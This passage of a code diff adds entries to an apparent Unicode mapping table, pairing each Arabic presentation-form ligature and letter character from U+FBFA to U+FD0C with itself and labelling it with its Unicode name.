+ ["\uFBFA", "\uFBFA"], /* ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM */
+ ["\uFBFB", "\uFBFB"], /* ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA INITIAL FORM */
+ ["\uFBFC", "\uFBFC"], /* ARABIC LETTER FARSI YEH ISOLATED FORM */
+ ["\uFBFD", "\uFBFD"], /* ARABIC LETTER FARSI YEH FINAL FORM */
+ ["\uFBFE", "\uFBFE"], /* ARABIC LETTER FARSI YEH INITIAL FORM */
+ ["\uFBFF", "\uFBFF"], /* ARABIC LETTER FARSI YEH MEDIAL FORM */
+ ["\uFC00", "\uFC00"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM ISOLATED FORM */
+ ["\uFC01", "\uFC01"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH ISOLATED FORM */
+ ["\uFC02", "\uFC02"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM ISOLATED FORM */
+ ["\uFC03", "\uFC03"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC04", "\uFC04"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH ISOLATED FORM */
+ ["\uFC05", "\uFC05"], /* ARABIC LIGATURE BEH WITH JEEM ISOLATED FORM */
+ ["\uFC06", "\uFC06"], /* ARABIC LIGATURE BEH WITH HAH ISOLATED FORM */
+ ["\uFC07", "\uFC07"], /* ARABIC LIGATURE BEH WITH KHAH ISOLATED FORM */
+ ["\uFC08", "\uFC08"], /* ARABIC LIGATURE BEH WITH MEEM ISOLATED FORM */
+ ["\uFC09", "\uFC09"], /* ARABIC LIGATURE BEH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC0A", "\uFC0A"], /* ARABIC LIGATURE BEH WITH YEH ISOLATED FORM */
+ ["\uFC0B", "\uFC0B"], /* ARABIC LIGATURE TEH WITH JEEM ISOLATED FORM */
+ ["\uFC0C", "\uFC0C"], /* ARABIC LIGATURE TEH WITH HAH ISOLATED FORM */
+ ["\uFC0D", "\uFC0D"], /* ARABIC LIGATURE TEH WITH KHAH ISOLATED FORM */
+ ["\uFC0E", "\uFC0E"], /* ARABIC LIGATURE TEH WITH MEEM ISOLATED FORM */
+ ["\uFC0F", "\uFC0F"], /* ARABIC LIGATURE TEH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC10", "\uFC10"], /* ARABIC LIGATURE TEH WITH YEH ISOLATED FORM */
+ ["\uFC11", "\uFC11"], /* ARABIC LIGATURE THEH WITH JEEM ISOLATED FORM */
+ ["\uFC12", "\uFC12"], /* ARABIC LIGATURE THEH WITH MEEM ISOLATED FORM */
+ ["\uFC13", "\uFC13"], /* ARABIC LIGATURE THEH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC14", "\uFC14"], /* ARABIC LIGATURE THEH WITH YEH ISOLATED FORM */
+ ["\uFC15", "\uFC15"], /* ARABIC LIGATURE JEEM WITH HAH ISOLATED FORM */
+ ["\uFC16", "\uFC16"], /* ARABIC LIGATURE JEEM WITH MEEM ISOLATED FORM */
+ ["\uFC17", "\uFC17"], /* ARABIC LIGATURE HAH WITH JEEM ISOLATED FORM */
+ ["\uFC18", "\uFC18"], /* ARABIC LIGATURE HAH WITH MEEM ISOLATED FORM */
+ ["\uFC19", "\uFC19"], /* ARABIC LIGATURE KHAH WITH JEEM ISOLATED FORM */
+ ["\uFC1A", "\uFC1A"], /* ARABIC LIGATURE KHAH WITH HAH ISOLATED FORM */
+ ["\uFC1B", "\uFC1B"], /* ARABIC LIGATURE KHAH WITH MEEM ISOLATED FORM */
+ ["\uFC1C", "\uFC1C"], /* ARABIC LIGATURE SEEN WITH JEEM ISOLATED FORM */
+ ["\uFC1D", "\uFC1D"], /* ARABIC LIGATURE SEEN WITH HAH ISOLATED FORM */
+ ["\uFC1E", "\uFC1E"], /* ARABIC LIGATURE SEEN WITH KHAH ISOLATED FORM */
+ ["\uFC1F", "\uFC1F"], /* ARABIC LIGATURE SEEN WITH MEEM ISOLATED FORM */
+ ["\uFC20", "\uFC20"], /* ARABIC LIGATURE SAD WITH HAH ISOLATED FORM */
+ ["\uFC21", "\uFC21"], /* ARABIC LIGATURE SAD WITH MEEM ISOLATED FORM */
+ ["\uFC22", "\uFC22"], /* ARABIC LIGATURE DAD WITH JEEM ISOLATED FORM */
+ ["\uFC23", "\uFC23"], /* ARABIC LIGATURE DAD WITH HAH ISOLATED FORM */
+ ["\uFC24", "\uFC24"], /* ARABIC LIGATURE DAD WITH KHAH ISOLATED FORM */
+ ["\uFC25", "\uFC25"], /* ARABIC LIGATURE DAD WITH MEEM ISOLATED FORM */
+ ["\uFC26", "\uFC26"], /* ARABIC LIGATURE TAH WITH HAH ISOLATED FORM */
+ ["\uFC27", "\uFC27"], /* ARABIC LIGATURE TAH WITH MEEM ISOLATED FORM */
+ ["\uFC28", "\uFC28"], /* ARABIC LIGATURE ZAH WITH MEEM ISOLATED FORM */
+ ["\uFC29", "\uFC29"], /* ARABIC LIGATURE AIN WITH JEEM ISOLATED FORM */
+ ["\uFC2A", "\uFC2A"], /* ARABIC LIGATURE AIN WITH MEEM ISOLATED FORM */
+ ["\uFC2B", "\uFC2B"], /* ARABIC LIGATURE GHAIN WITH JEEM ISOLATED FORM */
+ ["\uFC2C", "\uFC2C"], /* ARABIC LIGATURE GHAIN WITH MEEM ISOLATED FORM */
+ ["\uFC2D", "\uFC2D"], /* ARABIC LIGATURE FEH WITH JEEM ISOLATED FORM */
+ ["\uFC2E", "\uFC2E"], /* ARABIC LIGATURE FEH WITH HAH ISOLATED FORM */
+ ["\uFC2F", "\uFC2F"], /* ARABIC LIGATURE FEH WITH KHAH ISOLATED FORM */
+ ["\uFC30", "\uFC30"], /* ARABIC LIGATURE FEH WITH MEEM ISOLATED FORM */
+ ["\uFC31", "\uFC31"], /* ARABIC LIGATURE FEH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC32", "\uFC32"], /* ARABIC LIGATURE FEH WITH YEH ISOLATED FORM */
+ ["\uFC33", "\uFC33"], /* ARABIC LIGATURE QAF WITH HAH ISOLATED FORM */
+ ["\uFC34", "\uFC34"], /* ARABIC LIGATURE QAF WITH MEEM ISOLATED FORM */
+ ["\uFC35", "\uFC35"], /* ARABIC LIGATURE QAF WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC36", "\uFC36"], /* ARABIC LIGATURE QAF WITH YEH ISOLATED FORM */
+ ["\uFC37", "\uFC37"], /* ARABIC LIGATURE KAF WITH ALEF ISOLATED FORM */
+ ["\uFC38", "\uFC38"], /* ARABIC LIGATURE KAF WITH JEEM ISOLATED FORM */
+ ["\uFC39", "\uFC39"], /* ARABIC LIGATURE KAF WITH HAH ISOLATED FORM */
+ ["\uFC3A", "\uFC3A"], /* ARABIC LIGATURE KAF WITH KHAH ISOLATED FORM */
+ ["\uFC3B", "\uFC3B"], /* ARABIC LIGATURE KAF WITH LAM ISOLATED FORM */
+ ["\uFC3C", "\uFC3C"], /* ARABIC LIGATURE KAF WITH MEEM ISOLATED FORM */
+ ["\uFC3D", "\uFC3D"], /* ARABIC LIGATURE KAF WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC3E", "\uFC3E"], /* ARABIC LIGATURE KAF WITH YEH ISOLATED FORM */
+ ["\uFC3F", "\uFC3F"], /* ARABIC LIGATURE LAM WITH JEEM ISOLATED FORM */
+ ["\uFC40", "\uFC40"], /* ARABIC LIGATURE LAM WITH HAH ISOLATED FORM */
+ ["\uFC41", "\uFC41"], /* ARABIC LIGATURE LAM WITH KHAH ISOLATED FORM */
+ ["\uFC42", "\uFC42"], /* ARABIC LIGATURE LAM WITH MEEM ISOLATED FORM */
+ ["\uFC43", "\uFC43"], /* ARABIC LIGATURE LAM WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC44", "\uFC44"], /* ARABIC LIGATURE LAM WITH YEH ISOLATED FORM */
+ ["\uFC45", "\uFC45"], /* ARABIC LIGATURE MEEM WITH JEEM ISOLATED FORM */
+ ["\uFC46", "\uFC46"], /* ARABIC LIGATURE MEEM WITH HAH ISOLATED FORM */
+ ["\uFC47", "\uFC47"], /* ARABIC LIGATURE MEEM WITH KHAH ISOLATED FORM */
+ ["\uFC48", "\uFC48"], /* ARABIC LIGATURE MEEM WITH MEEM ISOLATED FORM */
+ ["\uFC49", "\uFC49"], /* ARABIC LIGATURE MEEM WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC4A", "\uFC4A"], /* ARABIC LIGATURE MEEM WITH YEH ISOLATED FORM */
+ ["\uFC4B", "\uFC4B"], /* ARABIC LIGATURE NOON WITH JEEM ISOLATED FORM */
+ ["\uFC4C", "\uFC4C"], /* ARABIC LIGATURE NOON WITH HAH ISOLATED FORM */
+ ["\uFC4D", "\uFC4D"], /* ARABIC LIGATURE NOON WITH KHAH ISOLATED FORM */
+ ["\uFC4E", "\uFC4E"], /* ARABIC LIGATURE NOON WITH MEEM ISOLATED FORM */
+ ["\uFC4F", "\uFC4F"], /* ARABIC LIGATURE NOON WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC50", "\uFC50"], /* ARABIC LIGATURE NOON WITH YEH ISOLATED FORM */
+ ["\uFC51", "\uFC51"], /* ARABIC LIGATURE HEH WITH JEEM ISOLATED FORM */
+ ["\uFC52", "\uFC52"], /* ARABIC LIGATURE HEH WITH MEEM ISOLATED FORM */
+ ["\uFC53", "\uFC53"], /* ARABIC LIGATURE HEH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC54", "\uFC54"], /* ARABIC LIGATURE HEH WITH YEH ISOLATED FORM */
+ ["\uFC55", "\uFC55"], /* ARABIC LIGATURE YEH WITH JEEM ISOLATED FORM */
+ ["\uFC56", "\uFC56"], /* ARABIC LIGATURE YEH WITH HAH ISOLATED FORM */
+ ["\uFC57", "\uFC57"], /* ARABIC LIGATURE YEH WITH KHAH ISOLATED FORM */
+ ["\uFC58", "\uFC58"], /* ARABIC LIGATURE YEH WITH MEEM ISOLATED FORM */
+ ["\uFC59", "\uFC59"], /* ARABIC LIGATURE YEH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFC5A", "\uFC5A"], /* ARABIC LIGATURE YEH WITH YEH ISOLATED FORM */
+ ["\uFC5B", "\uFC5B"], /* ARABIC LIGATURE THAL WITH SUPERSCRIPT ALEF ISOLATED FORM */
+ ["\uFC5C", "\uFC5C"], /* ARABIC LIGATURE REH WITH SUPERSCRIPT ALEF ISOLATED FORM */
+ ["\uFC5D", "\uFC5D"], /* ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF ISOLATED FORM */
+ ["\uFC5E", "\uFC5E"], /* ARABIC LIGATURE SHADDA WITH DAMMATAN ISOLATED FORM */
+ ["\uFC5F", "\uFC5F"], /* ARABIC LIGATURE SHADDA WITH KASRATAN ISOLATED FORM */
+ ["\uFC60", "\uFC60"], /* ARABIC LIGATURE SHADDA WITH FATHA ISOLATED FORM */
+ ["\uFC61", "\uFC61"], /* ARABIC LIGATURE SHADDA WITH DAMMA ISOLATED FORM */
+ ["\uFC62", "\uFC62"], /* ARABIC LIGATURE SHADDA WITH KASRA ISOLATED FORM */
+ ["\uFC63", "\uFC63"], /* ARABIC LIGATURE SHADDA WITH SUPERSCRIPT ALEF ISOLATED FORM */
+ ["\uFC64", "\uFC64"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH REH FINAL FORM */
+ ["\uFC65", "\uFC65"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ZAIN FINAL FORM */
+ ["\uFC66", "\uFC66"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM FINAL FORM */
+ ["\uFC67", "\uFC67"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH NOON FINAL FORM */
+ ["\uFC68", "\uFC68"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC69", "\uFC69"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH FINAL FORM */
+ ["\uFC6A", "\uFC6A"], /* ARABIC LIGATURE BEH WITH REH FINAL FORM */
+ ["\uFC6B", "\uFC6B"], /* ARABIC LIGATURE BEH WITH ZAIN FINAL FORM */
+ ["\uFC6C", "\uFC6C"], /* ARABIC LIGATURE BEH WITH MEEM FINAL FORM */
+ ["\uFC6D", "\uFC6D"], /* ARABIC LIGATURE BEH WITH NOON FINAL FORM */
+ ["\uFC6E", "\uFC6E"], /* ARABIC LIGATURE BEH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC6F", "\uFC6F"], /* ARABIC LIGATURE BEH WITH YEH FINAL FORM */
+ ["\uFC70", "\uFC70"], /* ARABIC LIGATURE TEH WITH REH FINAL FORM */
+ ["\uFC71", "\uFC71"], /* ARABIC LIGATURE TEH WITH ZAIN FINAL FORM */
+ ["\uFC72", "\uFC72"], /* ARABIC LIGATURE TEH WITH MEEM FINAL FORM */
+ ["\uFC73", "\uFC73"], /* ARABIC LIGATURE TEH WITH NOON FINAL FORM */
+ ["\uFC74", "\uFC74"], /* ARABIC LIGATURE TEH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC75", "\uFC75"], /* ARABIC LIGATURE TEH WITH YEH FINAL FORM */
+ ["\uFC76", "\uFC76"], /* ARABIC LIGATURE THEH WITH REH FINAL FORM */
+ ["\uFC77", "\uFC77"], /* ARABIC LIGATURE THEH WITH ZAIN FINAL FORM */
+ ["\uFC78", "\uFC78"], /* ARABIC LIGATURE THEH WITH MEEM FINAL FORM */
+ ["\uFC79", "\uFC79"], /* ARABIC LIGATURE THEH WITH NOON FINAL FORM */
+ ["\uFC7A", "\uFC7A"], /* ARABIC LIGATURE THEH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC7B", "\uFC7B"], /* ARABIC LIGATURE THEH WITH YEH FINAL FORM */
+ ["\uFC7C", "\uFC7C"], /* ARABIC LIGATURE FEH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC7D", "\uFC7D"], /* ARABIC LIGATURE FEH WITH YEH FINAL FORM */
+ ["\uFC7E", "\uFC7E"], /* ARABIC LIGATURE QAF WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC7F", "\uFC7F"], /* ARABIC LIGATURE QAF WITH YEH FINAL FORM */
+ ["\uFC80", "\uFC80"], /* ARABIC LIGATURE KAF WITH ALEF FINAL FORM */
+ ["\uFC81", "\uFC81"], /* ARABIC LIGATURE KAF WITH LAM FINAL FORM */
+ ["\uFC82", "\uFC82"], /* ARABIC LIGATURE KAF WITH MEEM FINAL FORM */
+ ["\uFC83", "\uFC83"], /* ARABIC LIGATURE KAF WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC84", "\uFC84"], /* ARABIC LIGATURE KAF WITH YEH FINAL FORM */
+ ["\uFC85", "\uFC85"], /* ARABIC LIGATURE LAM WITH MEEM FINAL FORM */
+ ["\uFC86", "\uFC86"], /* ARABIC LIGATURE LAM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC87", "\uFC87"], /* ARABIC LIGATURE LAM WITH YEH FINAL FORM */
+ ["\uFC88", "\uFC88"], /* ARABIC LIGATURE MEEM WITH ALEF FINAL FORM */
+ ["\uFC89", "\uFC89"], /* ARABIC LIGATURE MEEM WITH MEEM FINAL FORM */
+ ["\uFC8A", "\uFC8A"], /* ARABIC LIGATURE NOON WITH REH FINAL FORM */
+ ["\uFC8B", "\uFC8B"], /* ARABIC LIGATURE NOON WITH ZAIN FINAL FORM */
+ ["\uFC8C", "\uFC8C"], /* ARABIC LIGATURE NOON WITH MEEM FINAL FORM */
+ ["\uFC8D", "\uFC8D"], /* ARABIC LIGATURE NOON WITH NOON FINAL FORM */
+ ["\uFC8E", "\uFC8E"], /* ARABIC LIGATURE NOON WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC8F", "\uFC8F"], /* ARABIC LIGATURE NOON WITH YEH FINAL FORM */
+ ["\uFC90", "\uFC90"], /* ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF FINAL FORM */
+ ["\uFC91", "\uFC91"], /* ARABIC LIGATURE YEH WITH REH FINAL FORM */
+ ["\uFC92", "\uFC92"], /* ARABIC LIGATURE YEH WITH ZAIN FINAL FORM */
+ ["\uFC93", "\uFC93"], /* ARABIC LIGATURE YEH WITH MEEM FINAL FORM */
+ ["\uFC94", "\uFC94"], /* ARABIC LIGATURE YEH WITH NOON FINAL FORM */
+ ["\uFC95", "\uFC95"], /* ARABIC LIGATURE YEH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFC96", "\uFC96"], /* ARABIC LIGATURE YEH WITH YEH FINAL FORM */
+ ["\uFC97", "\uFC97"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM INITIAL FORM */
+ ["\uFC98", "\uFC98"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH INITIAL FORM */
+ ["\uFC99", "\uFC99"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH KHAH INITIAL FORM */
+ ["\uFC9A", "\uFC9A"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM INITIAL FORM */
+ ["\uFC9B", "\uFC9B"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH INITIAL FORM */
+ ["\uFC9C", "\uFC9C"], /* ARABIC LIGATURE BEH WITH JEEM INITIAL FORM */
+ ["\uFC9D", "\uFC9D"], /* ARABIC LIGATURE BEH WITH HAH INITIAL FORM */
+ ["\uFC9E", "\uFC9E"], /* ARABIC LIGATURE BEH WITH KHAH INITIAL FORM */
+ ["\uFC9F", "\uFC9F"], /* ARABIC LIGATURE BEH WITH MEEM INITIAL FORM */
+ ["\uFCA0", "\uFCA0"], /* ARABIC LIGATURE BEH WITH HEH INITIAL FORM */
+ ["\uFCA1", "\uFCA1"], /* ARABIC LIGATURE TEH WITH JEEM INITIAL FORM */
+ ["\uFCA2", "\uFCA2"], /* ARABIC LIGATURE TEH WITH HAH INITIAL FORM */
+ ["\uFCA3", "\uFCA3"], /* ARABIC LIGATURE TEH WITH KHAH INITIAL FORM */
+ ["\uFCA4", "\uFCA4"], /* ARABIC LIGATURE TEH WITH MEEM INITIAL FORM */
+ ["\uFCA5", "\uFCA5"], /* ARABIC LIGATURE TEH WITH HEH INITIAL FORM */
+ ["\uFCA6", "\uFCA6"], /* ARABIC LIGATURE THEH WITH MEEM INITIAL FORM */
+ ["\uFCA7", "\uFCA7"], /* ARABIC LIGATURE JEEM WITH HAH INITIAL FORM */
+ ["\uFCA8", "\uFCA8"], /* ARABIC LIGATURE JEEM WITH MEEM INITIAL FORM */
+ ["\uFCA9", "\uFCA9"], /* ARABIC LIGATURE HAH WITH JEEM INITIAL FORM */
+ ["\uFCAA", "\uFCAA"], /* ARABIC LIGATURE HAH WITH MEEM INITIAL FORM */
+ ["\uFCAB", "\uFCAB"], /* ARABIC LIGATURE KHAH WITH JEEM INITIAL FORM */
+ ["\uFCAC", "\uFCAC"], /* ARABIC LIGATURE KHAH WITH MEEM INITIAL FORM */
+ ["\uFCAD", "\uFCAD"], /* ARABIC LIGATURE SEEN WITH JEEM INITIAL FORM */
+ ["\uFCAE", "\uFCAE"], /* ARABIC LIGATURE SEEN WITH HAH INITIAL FORM */
+ ["\uFCAF", "\uFCAF"], /* ARABIC LIGATURE SEEN WITH KHAH INITIAL FORM */
+ ["\uFCB0", "\uFCB0"], /* ARABIC LIGATURE SEEN WITH MEEM INITIAL FORM */
+ ["\uFCB1", "\uFCB1"], /* ARABIC LIGATURE SAD WITH HAH INITIAL FORM */
+ ["\uFCB2", "\uFCB2"], /* ARABIC LIGATURE SAD WITH KHAH INITIAL FORM */
+ ["\uFCB3", "\uFCB3"], /* ARABIC LIGATURE SAD WITH MEEM INITIAL FORM */
+ ["\uFCB4", "\uFCB4"], /* ARABIC LIGATURE DAD WITH JEEM INITIAL FORM */
+ ["\uFCB5", "\uFCB5"], /* ARABIC LIGATURE DAD WITH HAH INITIAL FORM */
+ ["\uFCB6", "\uFCB6"], /* ARABIC LIGATURE DAD WITH KHAH INITIAL FORM */
+ ["\uFCB7", "\uFCB7"], /* ARABIC LIGATURE DAD WITH MEEM INITIAL FORM */
+ ["\uFCB8", "\uFCB8"], /* ARABIC LIGATURE TAH WITH HAH INITIAL FORM */
+ ["\uFCB9", "\uFCB9"], /* ARABIC LIGATURE ZAH WITH MEEM INITIAL FORM */
+ ["\uFCBA", "\uFCBA"], /* ARABIC LIGATURE AIN WITH JEEM INITIAL FORM */
+ ["\uFCBB", "\uFCBB"], /* ARABIC LIGATURE AIN WITH MEEM INITIAL FORM */
+ ["\uFCBC", "\uFCBC"], /* ARABIC LIGATURE GHAIN WITH JEEM INITIAL FORM */
+ ["\uFCBD", "\uFCBD"], /* ARABIC LIGATURE GHAIN WITH MEEM INITIAL FORM */
+ ["\uFCBE", "\uFCBE"], /* ARABIC LIGATURE FEH WITH JEEM INITIAL FORM */
+ ["\uFCBF", "\uFCBF"], /* ARABIC LIGATURE FEH WITH HAH INITIAL FORM */
+ ["\uFCC0", "\uFCC0"], /* ARABIC LIGATURE FEH WITH KHAH INITIAL FORM */
+ ["\uFCC1", "\uFCC1"], /* ARABIC LIGATURE FEH WITH MEEM INITIAL FORM */
+ ["\uFCC2", "\uFCC2"], /* ARABIC LIGATURE QAF WITH HAH INITIAL FORM */
+ ["\uFCC3", "\uFCC3"], /* ARABIC LIGATURE QAF WITH MEEM INITIAL FORM */
+ ["\uFCC4", "\uFCC4"], /* ARABIC LIGATURE KAF WITH JEEM INITIAL FORM */
+ ["\uFCC5", "\uFCC5"], /* ARABIC LIGATURE KAF WITH HAH INITIAL FORM */
+ ["\uFCC6", "\uFCC6"], /* ARABIC LIGATURE KAF WITH KHAH INITIAL FORM */
+ ["\uFCC7", "\uFCC7"], /* ARABIC LIGATURE KAF WITH LAM INITIAL FORM */
+ ["\uFCC8", "\uFCC8"], /* ARABIC LIGATURE KAF WITH MEEM INITIAL FORM */
+ ["\uFCC9", "\uFCC9"], /* ARABIC LIGATURE LAM WITH JEEM INITIAL FORM */
+ ["\uFCCA", "\uFCCA"], /* ARABIC LIGATURE LAM WITH HAH INITIAL FORM */
+ ["\uFCCB", "\uFCCB"], /* ARABIC LIGATURE LAM WITH KHAH INITIAL FORM */
+ ["\uFCCC", "\uFCCC"], /* ARABIC LIGATURE LAM WITH MEEM INITIAL FORM */
+ ["\uFCCD", "\uFCCD"], /* ARABIC LIGATURE LAM WITH HEH INITIAL FORM */
+ ["\uFCCE", "\uFCCE"], /* ARABIC LIGATURE MEEM WITH JEEM INITIAL FORM */
+ ["\uFCCF", "\uFCCF"], /* ARABIC LIGATURE MEEM WITH HAH INITIAL FORM */
+ ["\uFCD0", "\uFCD0"], /* ARABIC LIGATURE MEEM WITH KHAH INITIAL FORM */
+ ["\uFCD1", "\uFCD1"], /* ARABIC LIGATURE MEEM WITH MEEM INITIAL FORM */
+ ["\uFCD2", "\uFCD2"], /* ARABIC LIGATURE NOON WITH JEEM INITIAL FORM */
+ ["\uFCD3", "\uFCD3"], /* ARABIC LIGATURE NOON WITH HAH INITIAL FORM */
+ ["\uFCD4", "\uFCD4"], /* ARABIC LIGATURE NOON WITH KHAH INITIAL FORM */
+ ["\uFCD5", "\uFCD5"], /* ARABIC LIGATURE NOON WITH MEEM INITIAL FORM */
+ ["\uFCD6", "\uFCD6"], /* ARABIC LIGATURE NOON WITH HEH INITIAL FORM */
+ ["\uFCD7", "\uFCD7"], /* ARABIC LIGATURE HEH WITH JEEM INITIAL FORM */
+ ["\uFCD8", "\uFCD8"], /* ARABIC LIGATURE HEH WITH MEEM INITIAL FORM */
+ ["\uFCD9", "\uFCD9"], /* ARABIC LIGATURE HEH WITH SUPERSCRIPT ALEF INITIAL FORM */
+ ["\uFCDA", "\uFCDA"], /* ARABIC LIGATURE YEH WITH JEEM INITIAL FORM */
+ ["\uFCDB", "\uFCDB"], /* ARABIC LIGATURE YEH WITH HAH INITIAL FORM */
+ ["\uFCDC", "\uFCDC"], /* ARABIC LIGATURE YEH WITH KHAH INITIAL FORM */
+ ["\uFCDD", "\uFCDD"], /* ARABIC LIGATURE YEH WITH MEEM INITIAL FORM */
+ ["\uFCDE", "\uFCDE"], /* ARABIC LIGATURE YEH WITH HEH INITIAL FORM */
+ ["\uFCDF", "\uFCDF"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM MEDIAL FORM */
+ ["\uFCE0", "\uFCE0"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH MEDIAL FORM */
+ ["\uFCE1", "\uFCE1"], /* ARABIC LIGATURE BEH WITH MEEM MEDIAL FORM */
+ ["\uFCE2", "\uFCE2"], /* ARABIC LIGATURE BEH WITH HEH MEDIAL FORM */
+ ["\uFCE3", "\uFCE3"], /* ARABIC LIGATURE TEH WITH MEEM MEDIAL FORM */
+ ["\uFCE4", "\uFCE4"], /* ARABIC LIGATURE TEH WITH HEH MEDIAL FORM */
+ ["\uFCE5", "\uFCE5"], /* ARABIC LIGATURE THEH WITH MEEM MEDIAL FORM */
+ ["\uFCE6", "\uFCE6"], /* ARABIC LIGATURE THEH WITH HEH MEDIAL FORM */
+ ["\uFCE7", "\uFCE7"], /* ARABIC LIGATURE SEEN WITH MEEM MEDIAL FORM */
+ ["\uFCE8", "\uFCE8"], /* ARABIC LIGATURE SEEN WITH HEH MEDIAL FORM */
+ ["\uFCE9", "\uFCE9"], /* ARABIC LIGATURE SHEEN WITH MEEM MEDIAL FORM */
+ ["\uFCEA", "\uFCEA"], /* ARABIC LIGATURE SHEEN WITH HEH MEDIAL FORM */
+ ["\uFCEB", "\uFCEB"], /* ARABIC LIGATURE KAF WITH LAM MEDIAL FORM */
+ ["\uFCEC", "\uFCEC"], /* ARABIC LIGATURE KAF WITH MEEM MEDIAL FORM */
+ ["\uFCED", "\uFCED"], /* ARABIC LIGATURE LAM WITH MEEM MEDIAL FORM */
+ ["\uFCEE", "\uFCEE"], /* ARABIC LIGATURE NOON WITH MEEM MEDIAL FORM */
+ ["\uFCEF", "\uFCEF"], /* ARABIC LIGATURE NOON WITH HEH MEDIAL FORM */
+ ["\uFCF0", "\uFCF0"], /* ARABIC LIGATURE YEH WITH MEEM MEDIAL FORM */
+ ["\uFCF1", "\uFCF1"], /* ARABIC LIGATURE YEH WITH HEH MEDIAL FORM */
+ ["\uFCF2", "\uFCF2"], /* ARABIC LIGATURE SHADDA WITH FATHA MEDIAL FORM */
+ ["\uFCF3", "\uFCF3"], /* ARABIC LIGATURE SHADDA WITH DAMMA MEDIAL FORM */
+ ["\uFCF4", "\uFCF4"], /* ARABIC LIGATURE SHADDA WITH KASRA MEDIAL FORM */
+ ["\uFCF5", "\uFCF5"], /* ARABIC LIGATURE TAH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFCF6", "\uFCF6"], /* ARABIC LIGATURE TAH WITH YEH ISOLATED FORM */
+ ["\uFCF7", "\uFCF7"], /* ARABIC LIGATURE AIN WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFCF8", "\uFCF8"], /* ARABIC LIGATURE AIN WITH YEH ISOLATED FORM */
+ ["\uFCF9", "\uFCF9"], /* ARABIC LIGATURE GHAIN WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFCFA", "\uFCFA"], /* ARABIC LIGATURE GHAIN WITH YEH ISOLATED FORM */
+ ["\uFCFB", "\uFCFB"], /* ARABIC LIGATURE SEEN WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFCFC", "\uFCFC"], /* ARABIC LIGATURE SEEN WITH YEH ISOLATED FORM */
+ ["\uFCFD", "\uFCFD"], /* ARABIC LIGATURE SHEEN WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFCFE", "\uFCFE"], /* ARABIC LIGATURE SHEEN WITH YEH ISOLATED FORM */
+ ["\uFCFF", "\uFCFF"], /* ARABIC LIGATURE HAH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFD00", "\uFD00"], /* ARABIC LIGATURE HAH WITH YEH ISOLATED FORM */
+ ["\uFD01", "\uFD01"], /* ARABIC LIGATURE JEEM WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFD02", "\uFD02"], /* ARABIC LIGATURE JEEM WITH YEH ISOLATED FORM */
+ ["\uFD03", "\uFD03"], /* ARABIC LIGATURE KHAH WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFD04", "\uFD04"], /* ARABIC LIGATURE KHAH WITH YEH ISOLATED FORM */
+ ["\uFD05", "\uFD05"], /* ARABIC LIGATURE SAD WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFD06", "\uFD06"], /* ARABIC LIGATURE SAD WITH YEH ISOLATED FORM */
+ ["\uFD07", "\uFD07"], /* ARABIC LIGATURE DAD WITH ALEF MAKSURA ISOLATED FORM */
+ ["\uFD08", "\uFD08"], /* ARABIC LIGATURE DAD WITH YEH ISOLATED FORM */
+ ["\uFD09", "\uFD09"], /* ARABIC LIGATURE SHEEN WITH JEEM ISOLATED FORM */
+ ["\uFD0A", "\uFD0A"], /* ARABIC LIGATURE SHEEN WITH HAH ISOLATED FORM */
+ ["\uFD0B", "\uFD0B"], /* ARABIC LIGATURE SHEEN WITH KHAH ISOLATED FORM */
+ ["\uFD0C", "\uFD0C"], /* ARABIC LIGATURE SHEEN WITH MEEM ISOLATED FORM */
